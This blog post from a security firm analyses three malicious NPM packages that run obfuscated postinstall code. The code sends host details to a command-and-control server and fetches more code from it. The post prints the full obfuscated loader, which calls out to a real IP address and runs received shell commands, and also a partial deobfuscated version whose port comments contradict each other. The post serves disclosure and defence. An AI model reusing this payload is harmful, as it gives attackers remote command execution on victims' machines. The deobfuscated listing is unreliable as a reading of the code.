Cycode’s research team discovered three different NPM packages that, on the surface, looked like any other package you’d find in the registry. However, once we dug deeper, we discovered these packages contained obfuscated malicious payloads that would be executed upon installation, collecting details from the host machine and even reaching out to a remote server to fetch even more code to run.
In this blog, we’re going to walk you through how we found these packages, what they do, and why you should care. We’ll break down the whole investigation process, share some key takeaways, and give you the knowledge you need to spot and avoid similar threats in the future.
What Happened?
On December 28, 2024, three malicious packages were uploaded to the NPM ecosystem:
- serve-static-corell – “A lightweight static file server”
- openssl-node – “a utility package designed to resolve compatibility issues between Node.js and OpenSSL”
- next-refresh-token – “a lightweight library for managing and refreshing access tokens in Next.js”
These packages came from different contributors and appeared legitimate at first glance. But underneath their seemingly innocent descriptions, they each contained obfuscated malicious code that executed during installation, allowing attackers to run arbitrary commands on the host machine. They also had one thing in common — they all communicated with the same centralized command-and-control (C&C) server.
Even within a short window of exposure, these packages managed to accumulate thousands of downloads, illustrating just how quickly malicious code can spread through widely used ecosystems.
What Should I Do?
First things first, audit your codebase. Go through your project dependencies and check if any of these packages have been included in the past few weeks. If you find them, remove them immediately.
Next, take a closer look at your network logs, including firewall logs, IDS/IPS logs, or any other relevant network logs in your environment. Since all of these packages communicate with the same server, look for any outgoing requests to 8.152.163.60
. Check your logging systems for any connections made to that IP address. If you find anything suspicious, investigate further to ensure your system hasn’t been compromised.
Understanding the scope of the threat requires diving deeper into the technical details. In the following analysis, we’ll leverage both dynamic and static analysis techniques to uncover the behavior of these packages, from their initial execution to the hidden payloads they attempt to deliver.
Technical Details
Detecting Malicious Packages: Where It All Begins
Detecting malicious packages is rarely straightforward. Attackers have become adept at hiding harmful behaviors behind seemingly legitimate functionality. One of the most common ways they achieve this is by leveraging installation scripts. These scripts can run commands before or after the package installation process, allowing attackers to execute arbitrary code on a target machine.
Installation scripts are a common feature in package managers like NPM and PyPI, allowing developers to automate setup tasks before or after the installation of a package. These scripts can be helpful for setting up configurations, compiling code, or handling dependencies. However, they can also be exploited to run malicious code. Attackers often use them to run arbitrary code at the moment the user installs the package. This means the machine can be compromised immediately upon installation, without the user even needing to use the package afterward. They can collect system information, download additional payloads, or even establish backdoors and install crypto miners. This makes them a popular choice for attackers looking to exploit package managers like NPM and PyPI.
Identifying Suspicious Behavior
We continuously monitor new packages being released to the NPM registry. For each package, we analyze its behavior using dynamic analysis during the installation process to identify any suspicious activity or hidden malicious payloads. We discovered that three specific packages were making unexpected network requests to a centralized server as soon as they were installed. This behavior stood out as a red flag and prompted a deeper investigation.
To dig deeper, we took a closer look at the package.json files of these packages. There, we noticed an interesting post-install keyword that pointed directly to a postinstall.js
file.
By looking at the postinstall.js, we found that it was a straightforward script whose sole purpose was to execute the main.js
file.
The main.js
file, however, was heavily obfuscated, making it difficult to immediately understand its intentions. This is a classic technique used by attackers to hide malicious logic and evade detection during a quick review. The obfuscation raised another red flag, so we moved forward with deobfuscating the code to reveal its true behavior.
eval(function (p, a, c, k, e, d) { e = function (c) { return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)) }; if (!''.replace(/^/, String)) { while (c--) d[e(c)] = k[c] || e(c); k = [function (e) { return d[e] }]; e = function () { return '\\w+' }; c = 1; }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p; }('3 c=g(\'c\');3 t=g(\'t\');3 p=g(\'p\');3{L}=g(\'1Z\');3 K=g(\'K\');3 u=\'8.Z.11.N\';3 v=10;f 4;f m;f j=P;f d;k T(){3 W=c.o();3 H=c.1m();3 A=2;3 w={A:A,Q:`17:${W},1b:${H}`,};0.5(\'1d 1h Q:\',w);U(Y.1a(w));}k U(a){7(4&&4.J){4.b(a+\'\\n\',\'l\',(h)=>{7(h){0.9(\'z 1l a i r:\',h.R)}e{0.5(\'1k 1j i r 1i.\')}})}e{0.9(\'1g 1f 1e 1c 19 J.\')}}k y(){4=18 p.16();4.X(v,u,()=>{0.5(`15 i r 12 ${u}:${v}`);3 q=c.o();0.5(`13 14 1n:${q}`);4.b(`1q:${q}\\n`);T()});4.B(\'a\',(a)=>{3 M=a.1p(\'l\').1J().I(\'\\n\');M.1K((6)=>{7(6.1L(\'1M:\')){d=6.I(\':\')[1];m=t.1N(d);j=1O;0.5(`1P 1R 1S:${d}`)}e 7(6===\'1T\'){7(j){m.1U();j=P;0.5(`F E 1o 1V i:${d}`);4.b(`F E:${d}\\n`)}}e 7(j){m.b(6+\'\\n\')}e{0.5(`1W 6:${6}`);f x=6;7(c.o()===\'1X\'){x=`1Y 1I&&${6}`}L(x,{1Q:\'l\'},(9,V,s)=>{7(9){0.9(`z 1G 6:${s}`);4.b(`z:${s}\\n`);1F}4.b(`1H 1r:${V}\\n`,\'l\')})}})});4.B(\'1s\',()=>{0.5(\'S 1t\');D()});4.B(\'9\',(h)=>{0.9(`S 9:${h.R}`);D()})}k D(){3 C=O.1u(O.1v()*(1w-G+1))+G;0.5(`1x 1y ${(C/ 1z /N).1A(2)}1B...`);1C(()=>{0.5(\'1D i 1E...\');y()},C)}y();', 62, 124, 'console|||const|client|log|command|if||error|data|write|os|filePath|else|let|require|err|to|receivingFile|function|utf8|fileStream||platform|net|systemType|server|stderr|fs|SERVER_HOST|SERVER_PORT|userInfo|fullCommand|connectToServer|Error|flag|on|retryInterval|reconnectToServer|received|File|60000|deviceInfo|split|writable|path|exec|commands|60|Math|false|info|message|Connection|collectUserInfo|sendToServer|stdout|osType|connect|JSON|152|8057|163|at|Sending|system|Connected|Socket|OS|new|or|stringify|Device|connected|Prepared|not|is|Client|user|successfully|sent|Data|sending|arch|type|and|toString|SYSTEM_TYPE|output|close|closed|floor|random|300000|Reconnecting|in|1000|toFixed|minutes|setTimeout|Attempting|reconnect|return|executing|Command|65001|trim|forEach|startsWith|FILE_START|createWriteStream|true|Start|encoding|receiving|file|FILE_END|end|saved|Received|win32|chcp|child_process'.split('|'), 0, {}))
Understanding the Malicious Code
Before diving into the obfuscated code, we used dynamic analysis in an isolated environment to understand what the malicious packages were doing.
Triggering the post-install script initiated communication with a remote server. The script sent basic system information, including details like the operating system and CPU architecture. This initial data exchange was likely used by the attackers to identify the environment they had compromised and potentially tailor their next steps accordingly.
But that’s not all. We noticed that the serve-static-corell package made an HTTP GET request to /scripts/drop.js
on the same C&C server. This request was used to fetch additional JavaScript code to execute on the compromised machine, demonstrating that the attackers could execute any code they wanted, without needing to modify the NPM package itself.
Deobfuscating the Malicious Code
Now that we understood the basics of what the malicious code was doing, it was time to dig deeper. To achieve this, we focused on deobfuscating the heavily obfuscated main.js
file. And how did we tackle this challenge? By leveraging AI of course.
We created a LangFlow project to automate the deobfuscation process. By utilizing ChatGPT’s advanced language understanding, we were able to efficiently break down the obfuscated JavaScript, revealing the hidden logic and exposing the true intentions of the malicious code. Using AI-based tools made the deobfuscation process faster and more efficient, helping us uncover the full extent of the attack.
With the deobfuscation complete, we could finally see the malicious code in its true form.
While the deobfuscated code produced by the model is not 100% accurate, it provides a significant advantage by allowing us to quickly understand the core intentions of the malicious code.
// Deobfuscated JavaScript code const os = require('os'); const systemType = os.platform(); const fs = require('fs'); const net = require('net'); const { exec } = require('child_process'); const SERVER_HOST = '8.Z.11.N'; // 8.152.163.60 const SERVER_PORT = 15000; // 8057 in the hexadecimal number system converted to 16223 in decimal let client; let fileStream; let receivingFile = false; let filePath; function collectUserInfo() { const userInfo = os.userInfo(); const systemArch = os.arch(); const requestData = { arch: systemArch, info: `user:${userInfo.username}, system:${systemType}`, }; console.log('Sending device info:', requestData); sendToServer(JSON.stringify(requestData)); } function sendToServer(data) { if (client && client.writable) { client.write(data + '\n', 'utf8', (err) => { if (err) { console.error('Error sending data:', err.message); } else { console.log('Data sent successfully.'); } }); } else { console.error('Client is not connected!'); } } function connectToServer() { client = new net.Socket(); client.connect(SERVER_PORT, SERVER_HOST, () => { console.log(`Connected to ${SERVER_HOST}:${SERVER_PORT}`); const osType = os.type(); console.log(`Connected to OS Type: ${osType}`); client.write(`osType:${osType}\n`); collectUserInfo(); }); ... client.on('close', () => { console.log('Connection closed'); reconnectToServer(); }); client.on('error', (err) => { console.error(`Connection error:${err.message}`); reconnectToServer(); }); } function reconnectToServer() { const retryInterval = Math.floor(Math.random() * (300000 - 60000 + 1)) + 60000; // between 1 and 5 minutes console.log(`Reconnecting in ${(retryInterval / 1000 / 60).toFixed(2)} minutes...`); setTimeout(() => { console.log('Attempting to reconnect...'); connectToServer(); }, retryInterval); } connectToServer();
Wrapping Up the Technical Analysis
Through our investigation, we uncovered distinct behaviors for each of the malicious packages:
serve-static-corell
: This package stands out for its ability to change its behavior at any time. By fetching additional code from a centralized server, it allows attackers to modify the package’s functionality on the fly, making it a persistent and evolving threat.next-refresh-token
andopenssl-node
: Those packages run malicious code during the installation process and send basic system information.
These findings demonstrate that malicious packages can pose significant risks to developers and organizations. Whether it’s through exfiltrating system information, delivering additional payloads, or modifying their behavior dynamically, these packages are designed to cause harm while remaining undetected.
The key takeaway from this analysis is clear: it only takes a single malicious package to compromise your entire system. These packages were designed to look harmless, but once installed, they granted attackers the ability to execute arbitrary code, exfiltrate data, and potentially deploy further attacks.
How Can Cycode Help?
Preventing malicious packages from making their way into your projects requires a proactive approach to security. This is where Cycode comes in.
By combining Cycode’s Software Composition Analysis (SCA) capabilities with the Risk Intelligence Graph (RIG), we can query all instances of usage across your codebase. This powerful combination allows developers and security teams to:
- Identify where malicious packages, like the ones discussed here, are being used.
- Trace dependencies across repositories to find vulnerable entry points.
- Take immediate action to remove or update risky dependencies.
Reporting Our Findings
After identifying the malicious packages, we took steps to report them to the NPM team. As of now, we have not received a response. Nevertheless, we believe it is crucial to raise awareness within the developer and security communities to help mitigate the risks posed by these threats. Sharing our findings is part of our ongoing effort to make the open-source ecosystem safer for everyone.
Conclusions
Malicious packages are a growing threat in the software supply chain. Attackers are finding more sophisticated ways to disguise their intentions and exploit widely trusted ecosystems like NPM. Our investigation into these three packages shows just how easily a compromised dependency can lead to a serious security incident.
What can you do to protect yourself? Start by auditing your codebase regularly, using security tools to flag vulnerabilities, and being cautious about the dependencies you include in your projects. Awareness is the first step to staying secure.
We hope this deep dive into our investigation provides valuable insights and encourages the security community to stay vigilant. Together, we can build safer ecosystems and make it harder for attackers to succeed.